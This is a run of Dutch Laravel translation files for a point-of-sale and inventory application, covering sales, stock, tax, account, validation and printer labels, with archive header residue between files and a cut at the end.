nl/messages.phpnu �[��� <?php return [ 'add' => 'Toevoegen', 'edit' => 'Bewerk', 'save' => 'Opslaan', 'update' => 'Bijwerken', 'action' => 'Actie', 'actions' => 'Actions', 'view' => 'Uitzicht', 'delete' => 'Delete', 'close' => 'Dichtbij', 'something_went_wrong' => 'Er is iets verkeerd gegaan, probeer het later opnieuw', 'required' => 'Dit veld is verplicht', 'please_select' => 'Selecteer alstublieft', 'cancel' => 'Annuleer', 'date' => 'Datum', 'filter_by_date' => 'Filteren op datum', 'location' => 'Plaats', 'go_back' => 'Ga terug', 'due_tooltip' => '-ve value = Bedrag om te betalen <br> + ve value = Bedrag om te ontvangen', 'purchase_due_tooltip' => '-ve value = Bedrag om te ontvangen <br> + ve value = Bedrag om te betalen', 'yes' => 'Ja', 'no' => 'Nee', 'all' => 'Alle', 'settings' => 'Instellingen', 'business_location_settings' => 'Bedrijfslocatie-instellingen', 'print' => 'Afdrukken', 'submit' => 'Verzenden', 'purchase_sell_mismatch_exception' => 'FOUT: NIET TOEGESTAAN: Mismatch tussen verkochte en inkoophoeveelheid. Product: :product', 'purchase_stock_adjustment_mismatch_exception' => 'FOUT: NIET TOEGESTAAN: Mismatch tussen voorraadcorrectie en inkoophoeveelheid. Product: :product', 'transaction_edit_not_allowed' => 'Transactiebewerking niet toegestaan na :days dagen.', ]; PK G �Zc U�_ _ nl/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'Voorraadaanpassing', 'stock_adjustments' => 'Voorraadaanpassingen', 'list' => 'Lijst Voorraad Aanpassingen', 'add' => 'Voorraadaanpassing toevoegen', 'all_stock_adjustments' => 'Alle voorraadaanpassingen', 'search_product' => 'Zoek producten voor voorraadcorrectie', 'adjustment_type' => 'Aanpassingstype', 'normal' => 'Normal', 'abnormal' => 'Abnormaal', 'total_amount' => 'Totaalbedrag', 'total_amount_recovered' => 'Totale hoeveelheid hersteld', 'reason_for_stock_adjustment' => 'Reden', 'stock_adjustment_added_successfully' => 'Voorraadaanpassing succesvol toegevoegd', 'search_products' => 'Zoek producten', 'delete_success' => 'Voorraadaanpassing succesvol verwijderd', 'view_details' => 'Bekijk details van de voorraadaanpassing', ]; PK G �Z#d�� nl/home.phpnu �[��� <?php return [ 'home' => 'Huis', 'welcome_message' => 'Welkom :name,', 'total_sell' => 'Totale verkoop', 'total_purchase' => 'Totale aankoop', 'invoice_due' => 'Te betalen factuur', 'purchase_due' => 'Purchase due', 'today' => 'Vandaag', 'this_week' => 'Deze week', 'this_month' => 'Deze maand', 'this_fy' => 'Dit boekjaar', 'sells_last_30_days' => 'Verkoop afgelopen 30 dagen', 'sells_current_fy' => 'Verkoop huidig boekjaar', 'total_sells' => 'Totale omzet (:currency)', 'product_stock_alert' => 'Product Stock Alert', 'payment_dues' => 'Betalingskosten', 'due_amount' => 'Te betalen bedrag', 'stock_expiry_alert' => 'Stock Vervaldatum Alert', 'todays_profit' => 'De winst van vandaag', ]; PK G �Z�i Ĉ � nl/receipt.phpnu �[��� <?php return [ 'product' => 'Artikel', 'qty' => 'Aantal stuks', 'unit_price' => 'Eenheid prijs', 'subtotal' => 'Subtotaal', 'discount' => 'Korting', 'tax' => 'Tax', 'total' => 'Totaal', 'invoice_number' => 'Factuur nr.', 'date' => 'Datum', 'receipt_settings' => 'Ontvangstinstellingen', 'receipt_settings_mgs' => 'Alle ontvangst-gerelateerde instellingen voor deze locatie', 'print_receipt_on_invoice' => 'Factuur automatisch afdrukken na finaliseren', 'receipt_printer_type' => 'Bonprinter Type', 'receipt_settings_updated' => 'Ontvangstinstelling succesvol bijgewerkt', ]; PK G �ZAh��= = nl/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => 'Tax Rates', 'manage_your_tax_rates' => 'Manage your tax rates', 'all_your_tax_rates' => 'All your tax rates', 'name' => 'Name', 'rate' => 'Tax Rate %', 'added_success' => 'Tax rate added successfully', 'updated_success' => 'Tax rate updated successfully', 'deleted_success' => 'Tax rate deleted successfully', 'add_tax_rate' => 'Add Tax Rate', 'edit_taxt_rate' => 'Edit Tax Rate', 'add_tax_group' => 'Add tax group', 'tax_group_added_success' => 'Tax group added successfully', 'tax_group_updated_success' => 'Tax group updated successfully', 'tax_groups' => 'Tax groups', 'edit_tax_group' => 'Edit tax group', 'sub_taxes' => 'Sub taxes', 'can_not_be_deleted' => 'This tax rate belongs to some tax groups', ]; PK G �ZT�1ɟ � nl/category.phpnu �[��� <?php return [ 'categories' => 'Categorieën', 'manage_your_categories' => 'Beheer uw categorieën', 'all_your_categories' => 'Al uw categorieën', 'category' => 'Categorie Code', 'category_name' => 'Categorie naam', 'code' => 'Code', 'add_as_sub_category' => 'Toevoegen als subcategorie', 'select_parent_category' => 'Selecteer bovenliggende categorie', 'added_success' => 'Categorie succesvol toegevoegd', 'updated_success' => 'Categorie succesvol bijgewerkt', 'deleted_success' => 'Categorie succesvol verwijderd', 'add_category' => 'Categorie toevoegen', 'edit_category' => 'Categorie bewerken', ]; PK G �Z�tu�� � nl/brand.phpnu �[��� <?php return [ 'brands' => 'Merken', 'manage_your_brands' => 'Beheer uw merken', 'all_your_brands' => 'Al uw merken', 'note' => 'Notitie', 'brand_name' => 'Merknaam', 'short_description' => 'Korte beschrijving', 'added_success' => 'Merk met succes toegevoegd', 'updated_success' => 'Merk succesvol bijgewerkt', 'deleted_success' => 'Merk succesvol verwijderd', 'add_brand' => 'Voeg merk toe', 'edit_brand' => 'Merk bewerken', ]; PK G �Zg�I�� � nl/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Deze combinatie van e-mailadres en wachtwoord is niet geldig.', 'throttle' => 'Te veel mislukte loginpogingen. Probeer het over :seconds seconden nogmaals.', ]; PK G �Z�N�Jj j nl/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => ':attribute moet geaccepteerd zijn.', 'active_url' => ':attribute is geen geldige URL.', 'after' => ':attribute moet een datum na :date zijn.', 'after_or_equal' => ':attribute moet een datum na of gelijk aan :date zijn.', 'alpha' => ':attribute mag alleen letters bevatten.', 'alpha_dash' => ':attribute mag alleen letters, nummers, underscores (_) en streepjes (-) bevatten.', 'alpha_num' => ':attribute mag alleen letters en nummers bevatten.', 'array' => ':attribute moet geselecteerde elementen bevatten.', 'before' => ':attribute moet een datum voor :date zijn.', 'before_or_equal' => ':attribute moet een datum voor of gelijk aan :date zijn.', 'between' => [ 'numeric' => ':attribute moet tussen :min en :max zijn.', 'file' => ':attribute moet tussen :min en :max kilobytes zijn.', 'string' => ':attribute moet tussen :min en :max karakters zijn.', 'array' => ':attribute moet tussen :min en :max items bevatten.', ], 'boolean' => ':attribute moet ja of nee zijn.', 'confirmed' => ':attribute bevestiging komt niet overeen.', 'date' => ':attribute moet een datum bevatten.', 'date_format' => ':attribute moet een geldig datum formaat bevatten.', 'different' => ':attribute en :other moeten verschillend zijn.', 'digits' => ':attribute moet bestaan uit :digits cijfers.', 'digits_between' => ':attribute moet bestaan uit minimaal :min en maximaal :max cijfers.', 'dimensions' => ':attribute heeft geen geldige afmetingen voor afbeeldingen.', 'distinct' => ':attribute heeft een dubbele waarde.', 'email' => ':attribute is geen geldig e-mailadres.', 'exists' => ':attribute bestaat niet.', 'file' => ':attribute moet een bestand zijn.', 'filled' => ':attribute is verplicht.', 'image' => ':attribute moet een afbeelding zijn.', 'in' => ':attribute is ongeldig.', 'in_array' => ':attribute bestaat niet in :other.', 'integer' => ':attribute moet een getal zijn.', 'ip' => ':attribute moet een geldig IP-adres zijn.', 'ipv4' => ':attribute moet een geldig IPv4-adres zijn.', 'ipv6' => ':attribute moet een geldig IPv6-adres zijn.', 'json' => ':attribute moet een geldige JSON-string zijn.', 'max' => [ 'numeric' => ':attribute mag niet hoger dan :max zijn.', 'file' => ':attribute mag niet meer dan :max kilobytes zijn.', 'string' => ':attribute mag niet uit meer dan :max karakters bestaan.', 'array' => ':attribute mag niet meer dan :max items bevatten.', ], 'mimes' => ':attribute moet een bestand zijn van het bestandstype :values.', 'mimetypes' => ':attribute moet een bestand zijn van het bestandstype :values.', 'min' => [ 'numeric' => ':attribute moet minimaal :min zijn.', 'file' => ':attribute moet minimaal :min kilobytes zijn.', 'string' => ':attribute moet minimaal :min karakters zijn.', 'array' => ':attribute moet minimaal :min items bevatten.', ], 'not_in' => 'Het formaat van :attribute is ongeldig.', 'numeric' => ':attribute moet een nummer zijn.', 'present' => ':attribute moet bestaan.', 'regex' => ':attribute formaat is ongeldig.', 'required' => ':attribute is verplicht.', 'required_if' => ':attribute is verplicht indien :other gelijk is aan :value.', 'required_unless' => ':attribute is verplicht tenzij :other gelijk is aan :values.', 'required_with' => ':attribute is verplicht i.c.m. :values', 'required_with_all' => ':attribute is verplicht i.c.m. :values', 'required_without' => ':attribute is verplicht als :values niet ingevuld is.', 'required_without_all' => ':attribute is verplicht als :values niet ingevuld zijn.', 'same' => ':attribute en :other moeten overeenkomen.', 'size' => [ 'numeric' => ':attribute moet :size zijn.', 'file' => ':attribute moet :size kilobyte zijn.', 'string' => ':attribute moet :size karakters zijn.', 'array' => ':attribute moet :size items bevatten.', ], 'string' => ':attribute moet een tekenreeks zijn.', 'timezone' => ':attribute moet een geldige tijdzone zijn.', 'unique' => ':attribute is al in gebruik.', 'uploaded' => 'Het uploaden van :attribute is mislukt.', 'url' => ':attribute is geen geldige URL.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ 'address' => 'adres', 'age' => 'leeftijd', 'available' => 'beschikbaar', 'city' => 'stad', 'content' => 'inhoud', 'country' => 'land', 'date' => 'datum', 'day' => 'dag', 'description' => 'omschrijving', 'email' => 'e-mailadres', 'excerpt' => 'uittreksel', 'first_name' => 'voornaam', 'gender' => 'geslacht', 'hour' => 'uur', 'last_name' => 'achternaam', 'message' => 'boodschap', 'minute' => 'minuut', 'mobile' => 'mobiel', 'month' => 'maand', 'name' => 'naam', 'password' => 'wachtwoord', 'password_confirmation' => 'wachtwoordbevestiging', 'phone' => 'telefoonnummer', 'second' => 'seconde', 'sex' => 'geslacht', 'size' => 'grootte', 'subject' => 'onderwerp', 'time' => 'tijd', 'title' => 'titel', 'username' => 'gebruikersnaam', 'year' => 'jaar', ], 'custom-messages' => [ 'quantity_not_available' => 'Alleen :qty :unit beschikbaar', 'this_field_is_required' => 'Dit veld is verplicht', ], ]; PK G �Z�?K� � nl/account.phpnu �[��� <?php return [ 'account' => 'Account', 'manage_your_account' => 'Beheer je account', 'all_accounts' => 'Alle accounts', 'account_number' => 'Rekeningnummer', 'add_account' => 'Account toevoegen', 'account_created_success' => 'Account succesvol aangemaakt', 'account_updated_success' => 'Account succesvol bijgewerkt', 'edit_account' => 'Bewerk account', 'account_closed_success' => 'Account succesvol afgesloten', 'closed' => 'Gesloten', 'list_accounts' => 'Lijstaccounts', 'opening_balance' => 'Beginsaldo', 'account_book' => 'Accountboek', 'credit' => 'Credit', 'debit' => 'Debiteren', 'account_name' => 'Accountnaam', 'transaction_type' => 'Transactie Type', 'fund_transfer' => 'Geld transfer', 'selected_account' => 'Geselecteerde account', 'transfer_to' => 'Overzetten naar', 'fund_transfered_success' => 'Fonds succesvol overgedragen', 'deposit' => 'Storting', 'deposited_successfully' => 'Bedrag succesvol gestort', 'from' => 'Van', 'to' => 'Naar', 'balance_sheet' => 'Balans', 'liability' => 'Aansprakelijkheid', 'assets' => 'Middelen', 'supplier_due' => 'Leverancier verschuldigd', 'customer_due' => 'Klant Due', 'account_balances' => 'Saldi', 'total_assets' => 'Totale activa', 'total_liability' => 'Totale aansprakelijkheid', 'trial_balance' => 'Trial Balance', 'payments_not_linked_with_account' => 'Totaal <b>:payments </b> betalingen die niet aan een account zijn gekoppeld.', 'saving_current' => 'Saving / Current', 'capital' => 'Hoofdstad', 'not_applicable' => 'Niet toepasbaar', 'account_type' => 'Account type', 'accounts' => 'Accounts', 'capital_accounts' => 'Kapitaalrekeningen', 'deposit_from' => 'Storting van', 'no_capital_account_created' => 'Er bestaat geen actief kapitaalaccount.', 'payment_account_report' => 'Betalingsaccountrapport', 'invoice_ref_no' => 'Factuurnummer / referentienummer.', 'payment_ref_no' => 'Betalings Ref. Nr.', 'payment_for' => 'Betaling voor', 'link_account' => 'Link Account', 'account_linked_success' => 'Account gekoppeld met succes', 'view_details' => 'Details bekijken', ]; PK G �Z�)l� nl/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Vorige', 'next' => 'Volgende »', ]; PK G �ZEJQ�n n nl/contact.phpnu �[��� <?php return [ 'contacts' => 'Contacten', 'name' => 'Naam', 'contact' => 'Contact', 'manage_your_contact' => 'Beheer uw :contacts', 'all_your_contact' => 'Al uw :contacts', 'add_contact' => 'Voeg een nieuw contact toe', 'contact_type' => 'Contact type', 'tax_no' => 'Btw nummer', 'pay_term' => 'Betaaltermijn', 'pay_term_period' => 'Betalingstermijn', 'mobile' => 'Mobile', 'landline' => 'Vaste telefoon', 'alternate_contact_number' => 'Alternatief contactnummer', 'edit_contact' => 'Bewerk contact', 'added_success' => 'Contact succesvol toegevoegd', 'updated_success' => 'Contact succesvol bijgewerkt', 'deleted_success' => 'Contact is succesvol verwijderd', 'add_new_customer' => 'Nieuwe klant toevoegen', 'view_contact' => 'Bekijk contact', 'contact_info' => ':contact informatie', 'all_purchases_linked_to_this_contact' => 'Alle aankopen met betrekking tot dit contact', 'all_sells_linked_to_this_contact' => 'Alle verkoopt gerelateerd aan dit contact', 'total_purchase_due' => 'Total Purchase Due', 'pay_due_amount' => 'Te betalen bedrag', 'total_paid' => 'Totaal betaald', 'total_purchase_paid' => 'Totale aankoopbetaling', 'total_sale_paid' => 'Totale verkoopbetaling', 'total_sale_due' => 'Total Sale Due', 'customer' => 'Klant', ]; PK G �Z�� nl/sale.phpnu �[��� <?php return [ 'sale' => 'Verkopen', 'sells' => 'Verkoop', 'list_sale' => 'Lijstverkoop', 'add_sale' => 'Verkoop toevoegen', 'pos_sale' => 'POS', 'draft_added' => 'Concept succesvol toegevoegd', 'invoice_added' => 'Factuur succesvol toegevoegd', 'item' => 'Items', 'total' => 'Totaal', 'order_tax' => 'Bestelbelasting', 'discount' => 'Korting', 'total_payable' => 'Totaal te betalen', 'cancel' => 'Annuleer', 'draft' => 'Droogte', 'finalize' => 'Pay & Checkout', 'express_finalize' => 'Express <br/> Afrekenen', 'product' => 'Artikel', 'products' => 'Producten', 'unit_price' => 'Eenheid prijs', 'qty' => 'Aantal stuks', 'subtotal' => 'Subtotaal', 'recent_transactions' => 'Uw recente transacties', 'pos_sale_added' => 'Verkoop succesvol toegevoegd', 'price_inc_tax' => 'Prijs incl. BTW', 'tax' => 'Tax', 'edit_discount' => 'Korting bewerken', 'edit_order_tax' => 'Edit Order Tax', 'discount_type' => 'Kortingstype', 'discount_amount' => 'Korting hoeveelheid', 'no_recent_transactions' => 'Geen recente transacties', 'final' => 'Laatste', 'invoice_no' => 'Factuur nr.', 'customer_name' => 'Klantnaam', 'payment_status' => 'Betalingsstatus', 'status' => 'Status', 'total_amount' => 'Totaalbedrag', 'total_paid' => 'Totaal betaald', 'total_remaining' => 'Totaal resterend', 'payment_info' => 'Betaling informatie', 'drafts' => 'Concepten', 'all_drafts' => 'Alle concepten', 'sell_details' => 'Verkoop details', 'payments' => 'Betalingen', 'amount' => 'Bedrag', 'payment_mode' => 'Betaalmethode', 'payment_note' => 'Betalingsbewijs', 'sell_note' => 'Notitie verkopen', 'staff_note' => 'Staff note', 'draft_updated' => 'Concept succesvol bijgewerkt', 'pos_sale_updated' => 'Verkoop succesvol bijgewerkt', 'location' => 'Plaats', 'add_payment_row' => 'Voeg betalingsrij toe', 'finalize_payment' => 'Betaling voltooien', 'sale_date' => 'Verkoopdatum', 'list_pos' => 'Lijst POS', 'edit_sale' => 'Verkoop bewerken', 'shipping' => 'Verzending', 'shipping_details' => 'Verzendgegevens', 'shipping_charges' => 'Verzendkosten', ]; PK G �Zm25b b nl/report.phpnu �[��� <?php return [ 'reports' => 'Rapporten', 'purchase_sell_report' => 'Purchase & Sale', 'purchase_sell' => 'Purchase & Sale Report', 'purchase_sell_msg' => 'Aankoop- en verkoopgegevens voor de geselecteerde periode', 'total_purchase' => 'Totale aankoop', 'purchase_inc_tax' => 'Aankoop inclusief belasting', 'total_sell' => 'Totale verkoop', 'sell_inc_tax' => 'Verkoop Inclusief belasting', 'purchase_due' => 'Purchase Due', 'sell_due' => 'Te koop', 'overall' => 'Overall (Sale-Purchase)', 'sell_minus_purchase' => 'Verkoop - Aankoop', 'difference_due' => 'Te betalen bedrag', 'customer' => 'Klanten', 'supplier' => 'Leveranciers', 'total_due' => 'Ten gevolge', 'contacts' => 'Leverancier & klantrapport', 'contact' => 'Contact', 'stock_report' => 'Voorraadrapport', 'products' => 'Producten', 'current_stock' => 'Huidige voorraad', 'total_unit_sold' => 'Totale verkochte eenheid', 'tax_report' => 'Tax Report', 'tax_report_msg' => 'Belastinggegevens voor de geselecteerde periode', 'input_tax' => 'Inputbelasting', 'output_tax' => 'Outputbelasting', 'tax_overall' => 'Overall (Input - Output)', 'input_tax_minus_output_tax' => 'Invoerbelasting - uitvoerbelasting', 'trending_products' => 'Trending Products', 'apply_filters' => 'Filters toepassen', 'filters' => 'Filters', 'expense_report' => 'Onkostennota', 'total_expense' => 'Totale uitgaven', 'others' => 'Andere', 'all' => 'Alle', 'top_trending_products' => 'Top Trending Products', 'all_locations' => 'Alle locaties', 'stock_adjustment_report' => 'Voorraadaanpassingsrapport', 'total_stock_adjustment' => 'Total Stock Adjustment', 'total_recovered' => 'Total Amount Recovered', 'total_normal' => 'Totaal normaal', 'total_abnormal' => 'Totaal abnormaal', 'register_report' => 'Register Report', 'open_time' => 'Openingsuren', 'close_time' => 'Sluitingstijd', 'user' => 'Gebruiker', 'all_users' => 'Alle gebruikers', 'sales_representative' => 'Rapport salesvertegenwoordiger', 'sales_representative_expenses' => 'Alle kosten in verband met de vertegenwoordiger', 'summary' => 'Overzicht', 'date_range' => 'Datumbereik', 'stock_expiry_report' => 'Voorraadverloopverslag', 'stock_left' => 'Voorraad over', 'expired' => 'Niet meer geldig', 'view_stocks' => 'Bekijk voorraden', 'expiring_in_1_week' => 'Verlopen in een week', 'expiring_in_15_days' => 'Verlopen in 15 dagen', 'expiring_in_1_month' => 'Verlopen in een maand', 'expiring_in_3_months' => 'Verlopen in 3 maanden', 'expiring_in_6_months' => 'Vervalt over 6 maanden', 'expiring_in_1_year' => 'Verlopen in een jaar', 'profit_loss' => 'Winst / verlies rapport', 'opening_stock' => 'Openingsvoorraad', 'closing_stock' => 'Eindvoorraad', 'total_expense' => 'Totale uitgaven', 'net_profit' => 'Netto winst', 'total_stock_adjustment' => 'Totale voorraadaanpassing', 'total_stock_recovered' => 'Totale voorraad hersteld', ]; PK G �Z�j(Ja a nl/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Wachtwoord moet minimaal zes tekens lang zijn en de wachtwoorden moeten overeenkomen.', 'reset' => 'Het wachtwoord van uw account is gewijzigd.', 'sent' => 'We hebben een e-mail verstuurd met instructies om een nieuw wachtwoord in te stellen.', 'token' => 'Dit wachtwoord herstel token is niet geldig.', 'user' => 'Geen gebruiker bekend met het e-mailadres.', ]; PK G �Z� �� � nl/unit.phpnu �[��� <?php return [ 'units' => 'Eenheden', 'manage_your_units' => 'Beheer uw eenheden', 'all_your_units' => 'Al uw eenheden', 'name' => 'Naam', 'short_name' => 'Korte naam', 'allow_decimal' => 'Decimaal toestaan', 'added_success' => 'Unit succesvol toegevoegd', 'updated_success' => 'Unit succesvol bijgewerkt', 'deleted_success' => 'Unit succesvol verwijderd', 'add_unit' => 'Voeg eenheid toe', 'edit_unit' => 'Bewerk eenheid', ]; PK G �Z�� �9 9 nl/printer.phpnu �[��� <?php return [ 'printers' => 'Printers', 'add_printer' => 'Printer toevoegen', 'name' => 'Printernaam', 'connection_type' => 'Connectie type', 'capability_profile' => 'Capability Profile', 'ip_address' => 'IP adres', 'port' => 'Haven', 'path' => 'Pad', 'added_success' => 'Printer succesvol toegevoegd', 'manage_your_printers' => 'Beheer uw printers', 'all_your_printer' => 'Alle geconfigureerde printers', 'deleted_success' => 'Printer succesvol verwijderd', 'edit_printer_setting' => 'Bewerk printerconfiguratie', 'receipt_printers' => 'Ontvangstprinters', 'character_per_line' => 'Personages per regel', 'printer_name' => 'Printernaam', 'updated_success' => 'Printer succesvol bijgewerkt', 'edit_printer' => 'Bewerk printer', ]; PK G �Zf��R�? �? nl/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Bewerk de productprijs van het koopscherm', 'sales_commission_agent' => 'Sales Commission Agent', 'sales_commission_agents' => 'Sales Commission Agents', 'disable' => 'Disable', 'logged_in_user' => 'Ingelogde gebruiker', 'select_from_users_list' => 'Selecteer uit gebruikerslijst', 'select_from_commisssion_agents_list' => 'Selecteer uit de lijst van de commissionair', 'add_sales_commission_agent' => 'Voeg verkoopcommission agent toe', 'commission_agent_added_success' => 'Commission-agent met succes toegevoegd', 'edit_sales_commission_agent' => 'Edit sales commission agent', 'commission_agent_updated_success' => 'Agent van de Commissie is succesvol bijgewerkt', 'commission_agent_deleted_success' => 'Commission-agent succesvol verwijderd', 'contact_no' => 'Contactnummer', 'commission_agent' => 'Commission Agent', 'cmmsn_percent' => 'Percentage verkoopcommissie (%)', 'sales_added' => 'Verkoop toegevoegd', 'sales_with_commission' => 'Verkoop met Commissie', //"total_sale_with_commission" => "Totale verkoop met Commissie", 'total_sale_commission' => 'Total Sale Commission', 'sales_item_addition_method' => 'Verkoopartikel Toevoegingsmethode', 'add_item_in_new_row' => 'Voeg item toe in nieuwe rij', 'increase_item_qty' => 'Verhoog de artikelhoeveelheid als deze al bestaat', 'stock_transfers' => 'Voorraadoverdrachten', 'all_stock_transfers' => 'Alle beurstransfers', 'add_stock_transfer' => 'Voorraadoverdracht toevoegen', 'list_stock_transfers' => 'Lijst overdracht van aandelen', 'location_from' => 'Locatie (van)', 'location_to' => 'Locatie (naar)', 'shipping_charges' => 'Verzendkosten', 'stock_transfer_added_successfully' => 'Voorraadoverdracht succesvol toegevoegd', 'stock_transfer_delete_success' => 'Voorraadoverdracht succesvol verwijderd', 'stock_transfer_cannot_be_deleted' => 'Deze overdracht van aandelen kan niet worden verwijderd omdat sommige van de aandelen al zijn verkocht', 'total_transfer_shipping_charges' => 'Total Transfer Shipping Charges', 'enable_inline_tax' => 'Schakel inline belasting in bij aankoop en verkoop', 'save_n_add_opening_stock' => 'Opslaan en openingsvoorraad toevoegen', 'add_opening_stock' => 'Voeg openingsvoorraad toe', 'opening_stock_added_successfully' => 'Openingsvoorraad succesvol toegevoegd', 'update_n_edit_opening_stock' => 'Voorraden bijwerken en bewerken', 'total_amount_exc_tax' => 'Totaalbedrag (excl. BTW)', 'currency_symbol_placement' => 'Valutasymbool plaatsing', 'before_amount' => 'Voor bedrag', 'after_amount' => 'Na bedrag', 'barcode_label_error' => 'Niet-ondersteunde SKU-ID voor het geselecteerde barcodetype', 'list_products' => 'Lijst producten', 'list_expenses' => 'Lijstuitgaven', 'add_expiry' => 'Item vervaldatum toevoegen', 'add_manufacturing_auto_expiry' => 'Voeg productiedatum en vervaltijd toe', 'tooltip_enable_expiry' => 'Product vervaldatum inschakelen. <br/> <br/><b>Item vervaldatum toevoegen</b>: Om direct vervaldatum van items toe te voegen. <br/> <b>Voeg productiedatum en vervaltijd toe</b>: Om fabricagedatum en vervalperiode toe te voegen en de vervaldatum op basis daarvan te berekenen.', 'quantity' => 'aantal stuks', 'on_product_expiry' => 'Over Productverloop', 'keep_selling' => 'Blijf verkopen', 'stop_selling' => 'Stop met verkopen n dagen eerder', 'tooltip_on_product_expiry' => 'Geef de actie op die moet worden gedaan bij het verlopen van het product. <br><br> <b>Blijf verkopen</b>: Producten zullen na afloop ook worden bewaard. <br> <b>Stop met verkopen</b>: Stop met het verkopen van item n dagen voor de vervaldatum.', 'output_tax_minus_input_tax' => 'Uitvoerbelasting - Invoerbelasting', 'total_purchase_discount' => 'Totale aankoopkorting', 'total_sell_discount' => 'Totale verkoopkorting', 'updated_succesfully' => 'succesvol geupdatet', 'default_unit' => 'Standaardeenheid', 'enable_brand' => 'Merken inschakelen', 'enable_category' => 'Categorieën inschakelen', 'enable_sub_category' => 'Subcategorieën inschakelen', 'enable_price_tax' => 'Prijs- en belastinginfo inschakelen', 'enable_purchase_status' => 'Aankoopstatus inschakelen', 'tooltip_enable_purchase_status' => 'Bij uitschakelen worden alle aankopen gemarkeerd als <i> Item ontvangen </i>', 'recent_product_quantity' => 'Ga naar producthoeveelheid', 'full_screen' => 'Volledig scherm', 'Uncategorised' => 'Uncategorised', 'no_products_to_display' => 'Geen producten om weer te geven', 'item_out_of_stock' => 'Product niet op voorraad', 'go_back' => 'Ga terug', 'disable_pay_checkout' => 'Schakel betalen en betalen uit', 'disable_draft' => 'Draft uitschakelen', 'disable_express_checkout' => 'Express Checkout uitschakelen', 'hide_product_suggestion' => 'Productvoorstelling niet weergeven', 'hide_recent_trans' => 'Geen recente transacties weergeven', 'pos_settings' => 'POS-instellingen', 'disable_discount' => 'Korting uitschakelen', 'disable_order_tax' => 'Schakel orderbelasting uit', 'customer_groups' => 'Klantengroepen', 'customer_group' => 'Klantengroep', 'all_your_customer_groups' => 'Alle klantengroepen', 'add_customer_group' => 'Klantgroep toevoegen', 'customer_group_name' => 'Klantgroepsnaam', 'calculation_percentage' => 'Berekeningspercentage (%)', 'tooltip_calculation_percentage' => '<b> Verkoopprijs = Verkoopprijs Set Voor het product + Berekeningspercentage </b> <br/> <br/> U kunt het percentage als positief opgeven om te verhogen en negtief om de verkoopprijs te verlagen.', 'success' => 'Succes', 'edit_customer_group' => 'Klantgroep bewerken', 'customer_groups_report' => 'Rapport klantgroepen', 'none' => 'Geen', 'enable_imei_or_sr_no' => 'Schakel IMEI of serienummer in', 'tooltip_sr_no' => 'Inschakelen of uitschakelen van product IMEI of serienummer toevoegen tijdens het toevoegen van producten in POS-scherm', 'description' => 'Beschrijving', 'sell_line_description_help' => 'Voeg product IMEI, serienummer of andere informatie hier toe.', 'unit_cost_before_discount' => 'Eenheidskosten (vóór korting)', 'discount_percent' => 'Kortingspercentage', 'application_tour' => 'Application Tour', 'profile' => 'Profiel', 'sign_out' => 'Afmelden', 'my_profile' => 'Mijn profiel', 'Admin' => 'Beheerder', 'Cashier' => 'Kassa', 'both_supplier_customer' => 'Beide (leverancier en klant)', 'months' => 'Maanden', 'days' => 'Dagen', 'suppliers' => 'Leveranciers', 'customers' => 'Klanten', 'enter_product_name_to_print_labels' => 'Voer de productnaam in om labels af te drukken', 'manage_product_variations' => 'Productvarianten beheren', 'all_variations' => 'Alle variaties', 'values' => 'Waarden', 'add_variation' => 'Variatie toevoegen', 'variation_name' => 'Variation Name', 'add_variation_values' => 'Variatierwaarden toevoegen', 'edit_variation' => 'Bewerk variatie', 'received' => 'Ontvangen', 'pending' => 'In afwachting', 'ordered' => 'Besteld', 'search_product_placeholder' => 'Productnaam / SKU invoeren / Barcode scannen', 'fixed' => 'Vast', 'percentage' => 'Percentage', 'select_location' => 'Selecteer een locatie', 'add_description' => 'Beschrijving toevoegen', 'cash' => 'Contant geld', 'card' => 'Kaart', 'cheque' => 'Controleren', 'bank_transfer' => 'Overschrijving', 'other' => 'Anders', 'payment' => 'Betaling', 'total_items' => 'Totaal artikelen', 'total_paying' => 'Totaal betalen', 'balance' => 'Balans', 'payment_method' => 'Betalingsmiddel', 'card_no' => 'Kaartnummer', 'card_holder_name' => 'Naam pashouder', 'card_transaction_no' => 'Kaarttransactienummer', 'card_type' => 'Kaarttype', 'month' => 'Maand', 'year' => 'Jaar', 'security_code' => 'Beveiligingscode', 'cheque_no' => 'Controleer nummer', 'bank_account_number' => 'Bankrekening nummer', 'paid' => 'Betaald', 'due' => 'Ten gevolge', 'partial' => 'Gedeeltelijke', 'no_of_products' => 'Aantal producten', 'select_a_date_range' => 'Selecteer een datumbereik', 'shortcut_help' => "De snelkoppeling moet de naam van de toetsen zijn, gescheiden door '+'", 'example' => 'Voorbeeld', 'available_key_names_are' => 'Beschikbare sleutelnamen zijn', 'add_new_product' => 'Voeg nieuw product toe', 'invoice_logo_help' => 'Max :max_size, jpeg, gif, png formaten.', 'invoice_logo_help2' => 'Upload alleen als u het vorige logo wilt vervangen', 'printer_name_help' => 'Korte beschrijvende naam om printer te herkennen', 'char_per_line_help' => 'Aantal tekens dat per regel kan worden afgedrukt', 'ip_address_help' => 'IP-adres om verbinding te maken met de printer', 'port_help' => 'De 